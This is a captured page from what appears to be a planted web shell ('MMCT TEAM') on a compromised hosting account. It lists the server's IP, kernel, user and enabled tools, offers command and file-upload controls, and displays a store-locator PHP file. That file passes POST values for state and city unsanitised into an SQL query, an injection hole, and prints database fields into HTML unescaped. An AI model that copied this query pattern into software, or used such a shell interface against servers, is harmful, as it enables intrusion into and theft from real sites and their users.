MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/inc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/inc/getStore.php
<?php 
include('../admin/inc/conn.php');
$state=($_POST['state']);
$city=($_POST['city']);
$i=0;
$store_sql = $con ->query("SELECT * FROM store WHERE state='$state' AND city='$city' AND status=1");   
while($store_data = $store_sql ->fetch_assoc()){  $i++;                                            
?>
<div class="store-list <?php if($i==1){  echo 'clickMe';  }  ?>" id="store-<?php echo $store_data['id']; ?>" onclick="show_map('<?php echo $store_data['id']; ?>','show')">
    <div class="store-image">
        
    </div>
    <div class="store-details">
        <div class="store-name">
            <h5><?php echo $store_data['title']; ?></h5>
        </div>
        <div class="store-address">
            <p><?php echo $store_data['address']; ?></p>
        </div>
        <div class="store-contact">
            <span><a target="_Blank"href="https://wa.me/<?php echo $store_data['whatsapp']; ?>"><i class="fab fa-whatsapp"></i> Whatsapp</a></span>
            <span><a href="tel:<?php echo $store_data['phone']; ?>"><i class="fa fa-phone"></i> Call Now </a></span>
            <span><a href="mailto:<?php echo $store_data['email']; ?>"><i class="fa fa-envelope"></i> Email Now</a></span>
        </div>
        <div class="store-view text-right">
            <a class="default-button" href="<?php echo SITE_PATH ?>store/<?php echo $store_data['slug'] ?>"><span>View Store<i class="fa fa-eye"></i></span></a>
            <a class="default-button" href="index.php"><span>Book Now <i class="flaticon-right-arrow"></i></span></a>
        </div>
    </div>
</div>
<?php } ?>

MMCT - 2023